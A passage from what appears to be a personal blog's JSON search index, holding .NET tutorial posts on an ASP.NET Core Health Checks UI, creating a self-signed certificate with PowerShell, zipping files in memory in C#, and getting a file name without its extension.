format.\nBut would be nice to have some UI to easily check the status of your application.\nRemember JSON is machine friendly and UI is human friendly.\nBy the way, this configuration works for .NET and .Net CORE 3.1. Be happy!\nAdding UI to our Health Checks #First add the dependency packages to our project.\nAspNetCore.HealthChecks.UI AspNetCore.HealthChecks.UI.Client AspNetCore.HealthChecks.UI.InMemory.Storage Now let&rsquo;s register the dependencies.\npublic void ConfigureServices(IServiceCollection services) { \/\/adding health check services to container services.AddHealthChecks() .AddMongoDb(mongodbConnectionString: _configuration.GetConnectionString(&#34;DefaultMongo&#34;), name: &#34;mongo&#34;, failureStatus: HealthStatus.Unhealthy); \/\/adding MongoDb Health Check \/\/adding healthchecks UI services.AddHealthChecksUI(opt =&gt; { opt.SetEvaluationTimeInSeconds(15); \/\/time in seconds between check opt.MaximumHistoryEntriesPerEndpoint(60); \/\/maximum history of checks opt.SetApiMaxActiveRequests(1); \/\/api requests concurrency opt.AddHealthCheckEndpoint(&#34;default api&#34;, &#34;\/healthz&#34;); \/\/map health check api }) .AddInMemoryStorage(); } And them add to the application pipeline.\npublic void Configure(IApplicationBuilder app, IWebHostEnvironment env) { app.UseRouting(); app.UseEndpoints(endpoints =&gt; { \/\/adding endpoint of health check for the health check ui in UI format endpoints.MapHealthChecks(&#34;\/healthz&#34;, new HealthCheckOptions { Predicate = _ =&gt; true, ResponseWriter = UIResponseWriter.WriteHealthCheckUIResponse }); \/\/map healthcheck ui endpoing - default is \/healthchecks-ui\/ endpoints.MapHealthChecksUI(); endpoints.MapGet(&#34;\/&#34;, async context =&gt; await context.Response.WriteAsync(&#34;Hello World!&#34;)); }); } Startup.cs\nNote that we&rsquo;re adding another Health Check API endpoint called \/healthz with a specific configuration, custom ResponseWriter.\nThis is will be used by the UI Health Check client (ajax call).\nWrap it up #Now build, run, and open the browser Url http:\/\/{YOUR-SERVER}\/healthchecks-ui.\nFinal toughts #You can also customize the branding though CSS. For that I recommend going to the official website - xabaril&rsquo;s site.\nSource Code #The source code can be found at https:\/\/github.com\/ricardodemauro\/Health-Check-Series - branch article-2.\nEndpoint Monitoring with Azure Application InsightsLet\u2019s work with Application Insights - an Microsoft Azure service - to monitor our application through the endpoint \/healthcheck.This is the third article about Health Checks and Application Monitoring. rmauro.devRicardo Next of the series - Endpoint Monitoring with Azure Application Insights\n","date":"September 21, 2020","permalink":"https:\/\/rmauro.dev\/adding-health-checks-ui\/","section":"Posts","summary":"<p>This is the second article about <strong>Health Checks<\/strong> and <strong>Application Monitoring<\/strong>.<\/p>\n<p>Health check by it self is very good feature. But Health Checks with a UI is much better, in fact is awesome!<\/p>\n<ol>\n<li><a href=\"https:\/\/rmauro.dev\/adding-health-checks-to-net-core-application\/\" target=\"_blank\" rel=\"noreferrer\">Adding Health Check endpoint<\/a><\/li>\n<li><strong>Adding UI Health Check<\/strong> [this article]<\/li>\n<li><a href=\"https:\/\/rmauro.dev\/endpoint-monitoring-with-azure-application-insights\/\" target=\"_blank\" rel=\"noreferrer\">Endpoint Monitoring with Azure Application Insights<\/a><\/li>\n<li>Using Azure App Services Endpoint Monitoring<\/li>\n<\/ol>\n<p>This article assumes that you already have Health Checks up and running.<br>\nIf not go back to <a href=\"https:\/\/rmauro.dev\/adding-health-checks-to-net-core-application\/\" target=\"_blank\" rel=\"noreferrer\">article<\/a>.<\/p>","title":"Adding Health Checks UI"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/cert\/","section":"Tags","summary":"","title":"Cert"},{"content":"A self-signed certificate it&rsquo;s very easy to create and helps on with local development and testing.\nWith a Single Line of PowerShell code we create a certificate.\nFirst, open the PowerShell as Administrator and run the following command:\nNew-SelfSignedCertificate ` \u2013DnsName &lt;DNS-Name&gt; ` -CertStoreLocation &#34;cert:\\LocalMachine\\My&#34; Create Self Signed Cert\nThe default expiration is 1 year. If you want a custom expiration date use option -NotAfter.\nNew-SelfSignedCertificate ` \u2013DnsName &lt;DNS-Name&gt; ` -CertStoreLocation &#34;cert:\\LocalMachine\\My&#34; ` -NotAfter [System.DateTime]::AddYears(3) Create Self Signed Cert with Expiration Date\nGenerating Certificate\nThat is it. Done!! The certificate was created and stored in our Certificate Store of Windows.\nNote the parameter &ldquo;CertStoreLocation&rdquo;, this is where the cert will be stored. cert:\\LocalMachine means Local Machine Cert store.\nNow let&rsquo;s export it as a .pfxfile into a local directory.\nIn the same PowerShell window run the following commands.\n#create a password for our cert $pwd = ConvertTo-SecureString -String &#34;SOME-PASSWORD&#34; -Force -AsPlainText #finds the certificate in our local store $cert = Get-ChildItem -Path cert:\\LocalMachine\\my | where Subject -eq &#34;CN=rmauro.dev&#34; #exports the certificate to temp directory Export-PfxCertificate -FilePath c:\\temp\\rmauro.dev.pfx -Password $pwd -Cert $cert Create Self Signed Cert with Password\nIn my scenario, the cert name is rmauro.dev. Change it to yours.\nCheck the directory temp to find the certificate - rmauro.dev.pfx.\nLeave a comment \/ Subscribe!\n","date":"September 16, 2020","permalink":"https:\/\/rmauro.dev\/generating-a-self-signed-certificate-using-powershell\/","section":"Posts","summary":"<p>A self-signed certificate it&rsquo;s very easy to create and helps on with local development and testing.<\/p>\n<p>With a <strong>Single Line<\/strong> of PowerShell code we create a certificate.<\/p>\n<p>First, open the <code>PowerShell<\/code> as <strong>Administrator<\/strong>  and run the following command:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-powershell\" data-lang=\"powershell\"><span class=\"line\"><span class=\"cl\"><span class=\"nb\">New-SelfSignedCertificate<\/span> <span class=\"p\">`<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"err\">\u2013<\/span><span class=\"n\">DnsName<\/span> <span class=\"p\">&lt;<\/span><span class=\"nb\">DNS-Name<\/span><span class=\"p\">&gt;<\/span> <span class=\"p\">`<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"n\">-CertStoreLocation<\/span> <span class=\"s2\">&#34;cert:\\LocalMachine\\My&#34;<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Create Self Signed Cert<\/p>\n<p>The <em>default<\/em> expiration is <strong>1 year<\/strong>. If you want a custom expiration date use option <code>-NotAfter<\/code>.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-powershell\" data-lang=\"powershell\"><span class=\"line\"><span class=\"cl\"><span class=\"nb\">New-SelfSignedCertificate<\/span> <span class=\"p\">`<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"err\">\u2013<\/span><span class=\"n\">DnsName<\/span> <span class=\"p\">&lt;<\/span><span class=\"nb\">DNS-Name<\/span><span class=\"p\">&gt;<\/span> <span class=\"p\">`<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"n\">-CertStoreLocation<\/span> <span class=\"s2\">&#34;cert:\\LocalMachine\\My&#34;<\/span> <span class=\"p\">`<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"n\">-NotAfter<\/span> <span class=\"p\">[<\/span><span class=\"no\">System.DateTime<\/span><span class=\"p\">]::<\/span><span class=\"n\">AddYears<\/span><span class=\"p\">(<\/span><span class=\"mf\">3<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Create Self Signed Cert with Expiration Date<\/p>","title":"Generating a Self-Signed Certificate using Powershell"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/https\/","section":"Tags","summary":"","title":"Https"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ssl\/","section":"Tags","summary":"","title":"SSL"},{"content":"Here is a code snippet of how to compress one or many files to a zip archive in memory using C#.\nIt works in .Net Core and .Net Full Framework\npublic static byte[] GetZipArchive(params InMemoryFile[] files) { byte[] archiveFile; using (var archiveStream = new MemoryStream()) { using (var archive = new ZipArchive(archiveStream, ZipArchiveMode.Create, true)) { foreach (var file in files) { var zipArchiveEntry = archive.CreateEntry(file.FileName, CompressionLevel.Fastest); using var zipStream = zipArchiveEntry.Open(); zipStream.Write(file.Content, 0, file.Content.Length); } } archiveFile = archiveStream.ToArray(); } return archiveFile; } compress code\nVery simple, right?\nHere is a sample Console Application in C# .Net Core.\nusing System; using System.IO; using System.IO.Compression; namespace ConsoleApp1 { class InMemoryFile { public string FileName { get; set; } public byte[] Content { get; set; } } class Program { static void Main(string[] args) { using var fs = File.OpenRead(@&#34;C:\\Users\\rmauro\\Pictures\\cool-computer.webp&#34;); var files = new[] { LoadFromFile(@&#34;C:\\Users\\rmauro\\Pictures\\cool-computer.webp&#34;), LoadFromFile(@&#34;C:\\Users\\rmauro\\Pictures\\34778.webp&#34;), }; var result = GetZipArchive(files); using var fw = File.OpenWrite(@&#34;C:\\Users\\rmauro\\Pictures\\out.zip&#34;); using var memZip = new MemoryStream(result); memZip.CopyTo(fw); fw.Close(); Console.ReadKey(); } static InMemoryFile LoadFromFile(string path) { using var fs = File.OpenRead(path); using var memFile = new MemoryStream(); fs.CopyTo(memFile); memFile.Seek(0, SeekOrigin.Begin); return new InMemoryFile() { Content = memFile.ToArray(), FileName = Path.GetFileName(path) }; } public static byte[] GetZipArchive(params InMemoryFile[] files) { byte[] archiveFile; using (var archiveStream = new MemoryStream()) { using (var archive = new ZipArchive(archiveStream, ZipArchiveMode.Create, true)) { foreach (var file in files) { var zipArchiveEntry = archive.CreateEntry(file.FileName, CompressionLevel.Fastest); using var zipStream = zipArchiveEntry.Open(); zipStream.Write(file.Content, 0, file.Content.Length); } } archiveFile = archiveStream.ToArray(); } return archiveFile; } } } sample console application for compress file\/folder\n","date":"September 9, 2020","permalink":"https:\/\/rmauro.dev\/compress-zip-files-in-memory-using-csharp\/","section":"Posts","summary":"<p>Here is a code snippet of how to compress one or many files to a zip archive in memory using C#.<\/p>\n<blockquote>\n<p><em>It works in .Net Core and .Net Full Framework<\/em><\/p>\n<\/blockquote>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kt\">byte<\/span><span class=\"p\">[]<\/span> <span class=\"n\">GetZipArchive<\/span><span class=\"p\">(<\/span><span class=\"k\">params<\/span> <span class=\"n\">InMemoryFile<\/span><span class=\"p\">[]<\/span> <span class=\"n\">files<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kt\">byte<\/span><span class=\"p\">[]<\/span> <span class=\"n\">archiveFile<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">using<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">archiveStream<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">MemoryStream<\/span><span class=\"p\">())<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"k\">using<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">archive<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">ZipArchive<\/span><span class=\"p\">(<\/span><span class=\"n\">archiveStream<\/span><span class=\"p\">,<\/span> <span class=\"n\">ZipArchiveMode<\/span><span class=\"p\">.<\/span><span class=\"n\">Create<\/span><span class=\"p\">,<\/span> <span class=\"kc\">true<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">foreach<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">file<\/span> <span class=\"k\">in<\/span> <span class=\"n\">files<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"kt\">var<\/span> <span class=\"n\">zipArchiveEntry<\/span> <span class=\"p\">=<\/span> <span class=\"n\">archive<\/span><span class=\"p\">.<\/span><span class=\"n\">CreateEntry<\/span><span class=\"p\">(<\/span><span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">FileName<\/span><span class=\"p\">,<\/span> <span class=\"n\">CompressionLevel<\/span><span class=\"p\">.<\/span><span class=\"n\">Fastest<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">zipStream<\/span> <span class=\"p\">=<\/span> <span class=\"n\">zipArchiveEntry<\/span><span class=\"p\">.<\/span><span class=\"n\">Open<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"n\">zipStream<\/span><span class=\"p\">.<\/span><span class=\"n\">Write<\/span><span class=\"p\">(<\/span><span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">Content<\/span><span class=\"p\">,<\/span> <span class=\"m\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">Content<\/span><span class=\"p\">.<\/span><span class=\"n\">Length<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">archiveFile<\/span> <span class=\"p\">=<\/span> <span class=\"n\">archiveStream<\/span><span class=\"p\">.<\/span><span class=\"n\">ToArray<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">return<\/span> <span class=\"n\">archiveFile<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>compress code<\/p>\n<p>Very simple, right?<\/p>\n<p>Here is a sample Console Application in C# <strong>.Net Core<\/strong>.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System.IO<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System.IO.Compression<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">namespace<\/span> <span class=\"nn\">ConsoleApp1<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">class<\/span> <span class=\"nc\">InMemoryFile<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">public<\/span> <span class=\"kt\">string<\/span> <span class=\"n\">FileName<\/span> <span class=\"p\">{<\/span> <span class=\"k\">get<\/span><span class=\"p\">;<\/span> <span class=\"k\">set<\/span><span class=\"p\">;<\/span> <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">public<\/span> <span class=\"kt\">byte<\/span><span class=\"p\">[]<\/span> <span class=\"n\">Content<\/span> <span class=\"p\">{<\/span> <span class=\"k\">get<\/span><span class=\"p\">;<\/span> <span class=\"k\">set<\/span><span class=\"p\">;<\/span> <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">class<\/span> <span class=\"nc\">Program<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">static<\/span> <span class=\"k\">void<\/span> <span class=\"n\">Main<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span><span class=\"p\">[]<\/span> <span class=\"n\">args<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">fs<\/span> <span class=\"p\">=<\/span> <span class=\"n\">File<\/span><span class=\"p\">.<\/span><span class=\"n\">OpenRead<\/span><span class=\"p\">(<\/span><span class=\"s\">@&#34;C:\\Users\\rmauro\\Pictures\\cool-computer.webp&#34;<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"kt\">var<\/span> <span class=\"n\">files<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span><span class=\"p\">[]<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"n\">LoadFromFile<\/span><span class=\"p\">(<\/span><span class=\"s\">@&#34;C:\\Users\\rmauro\\Pictures\\cool-computer.webp&#34;<\/span><span class=\"p\">),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"n\">LoadFromFile<\/span><span class=\"p\">(<\/span><span class=\"s\">@&#34;C:\\Users\\rmauro\\Pictures\\34778.webp&#34;<\/span><span class=\"p\">),<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"kt\">var<\/span> <span class=\"n\">result<\/span> <span class=\"p\">=<\/span> <span class=\"n\">GetZipArchive<\/span><span class=\"p\">(<\/span><span class=\"n\">files<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">fw<\/span> <span class=\"p\">=<\/span> <span class=\"n\">File<\/span><span class=\"p\">.<\/span><span class=\"n\">OpenWrite<\/span><span class=\"p\">(<\/span><span class=\"s\">@&#34;C:\\Users\\rmauro\\Pictures\\out.zip&#34;<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">memZip<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">MemoryStream<\/span><span class=\"p\">(<\/span><span class=\"n\">result<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">memZip<\/span><span class=\"p\">.<\/span><span class=\"n\">CopyTo<\/span><span class=\"p\">(<\/span><span class=\"n\">fw<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">fw<\/span><span class=\"p\">.<\/span><span class=\"n\">Close<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">Console<\/span><span class=\"p\">.<\/span><span class=\"n\">ReadKey<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">static<\/span> <span class=\"n\">InMemoryFile<\/span> <span class=\"n\">LoadFromFile<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span> <span class=\"n\">path<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">fs<\/span> <span class=\"p\">=<\/span> <span class=\"n\">File<\/span><span class=\"p\">.<\/span><span class=\"n\">OpenRead<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">memFile<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">MemoryStream<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">fs<\/span><span class=\"p\">.<\/span><span class=\"n\">CopyTo<\/span><span class=\"p\">(<\/span><span class=\"n\">memFile<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"n\">memFile<\/span><span class=\"p\">.<\/span><span class=\"n\">Seek<\/span><span class=\"p\">(<\/span><span class=\"m\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">SeekOrigin<\/span><span class=\"p\">.<\/span><span class=\"n\">Begin<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">return<\/span> <span class=\"k\">new<\/span> <span class=\"n\">InMemoryFile<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span> <span class=\"n\">Content<\/span> <span class=\"p\">=<\/span> <span class=\"n\">memFile<\/span><span class=\"p\">.<\/span><span class=\"n\">ToArray<\/span><span class=\"p\">(),<\/span> <span class=\"n\">FileName<\/span> <span class=\"p\">=<\/span> <span class=\"n\">Path<\/span><span class=\"p\">.<\/span><span class=\"n\">GetFileName<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">)<\/span> <span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kt\">byte<\/span><span class=\"p\">[]<\/span> <span class=\"n\">GetZipArchive<\/span><span class=\"p\">(<\/span><span class=\"k\">params<\/span> <span class=\"n\">InMemoryFile<\/span><span class=\"p\">[]<\/span> <span class=\"n\">files<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"kt\">byte<\/span><span class=\"p\">[]<\/span> <span class=\"n\">archiveFile<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">using<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">archiveStream<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">MemoryStream<\/span><span class=\"p\">())<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"k\">using<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">archive<\/span> <span class=\"p\">=<\/span> <span class=\"k\">new<\/span> <span class=\"n\">ZipArchive<\/span><span class=\"p\">(<\/span><span class=\"n\">archiveStream<\/span><span class=\"p\">,<\/span> <span class=\"n\">ZipArchiveMode<\/span><span class=\"p\">.<\/span><span class=\"n\">Create<\/span><span class=\"p\">,<\/span> <span class=\"kc\">true<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                    <span class=\"k\">foreach<\/span> <span class=\"p\">(<\/span><span class=\"kt\">var<\/span> <span class=\"n\">file<\/span> <span class=\"k\">in<\/span> <span class=\"n\">files<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                        <span class=\"kt\">var<\/span> <span class=\"n\">zipArchiveEntry<\/span> <span class=\"p\">=<\/span> <span class=\"n\">archive<\/span><span class=\"p\">.<\/span><span class=\"n\">CreateEntry<\/span><span class=\"p\">(<\/span><span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">FileName<\/span><span class=\"p\">,<\/span> <span class=\"n\">CompressionLevel<\/span><span class=\"p\">.<\/span><span class=\"n\">Fastest<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                        <span class=\"k\">using<\/span> <span class=\"nn\">var<\/span> <span class=\"n\">zipStream<\/span> <span class=\"p\">=<\/span> <span class=\"n\">zipArchiveEntry<\/span><span class=\"p\">.<\/span><span class=\"n\">Open<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                        <span class=\"n\">zipStream<\/span><span class=\"p\">.<\/span><span class=\"n\">Write<\/span><span class=\"p\">(<\/span><span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">Content<\/span><span class=\"p\">,<\/span> <span class=\"m\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">file<\/span><span class=\"p\">.<\/span><span class=\"n\">Content<\/span><span class=\"p\">.<\/span><span class=\"n\">Length<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">                <span class=\"n\">archiveFile<\/span> <span class=\"p\">=<\/span> <span class=\"n\">archiveStream<\/span><span class=\"p\">.<\/span><span class=\"n\">ToArray<\/span><span class=\"p\">();<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">            <span class=\"k\">return<\/span> <span class=\"n\">archiveFile<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>sample console application for compress file\/folder<\/p>","title":"Compress files in memory (.zip) using C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/snippets\/","section":"Tags","summary":"","title":"Snippets"},{"content":"These days I was asking myself how to get the file name without the extension. I confess I was tempted to use a regex to solve this problem :)\nBut no worries. There is a method in System.IO.Path specific for this situation.\nusing System.IO; \/\/\/ \/\/\/ Get file name without extension \/\/\/ static string GetFileName(string path) { return Path.GetFileNameWithoutExtension(path); } \/\/\/ \/\/\/ Get file name without extension \/\/\/ static string GetFileName(FileInfo fileInfo) { return Path.GetFileNameWithoutExtension(fileInfo.Name); } ","date":"September 8, 2020","permalink":"https:\/\/rmauro.dev\/getting-the-file-name-without-extenion-in-csharp\/","section":"Posts","summary":"<p>These days I was asking myself how to get the file name without the extension. I confess I was tempted to use a regex to solve this problem :)<\/p>\n<p>But no worries. There is a method in <code>System.IO.Path<\/code> specific for this situation.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">using<\/span> <span class=\"nn\">System.IO<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/ Get file name without extension<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">static<\/span> <span class=\"kt\">string<\/span> <span class=\"n\">GetFileName<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span> <span class=\"n\">path<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span 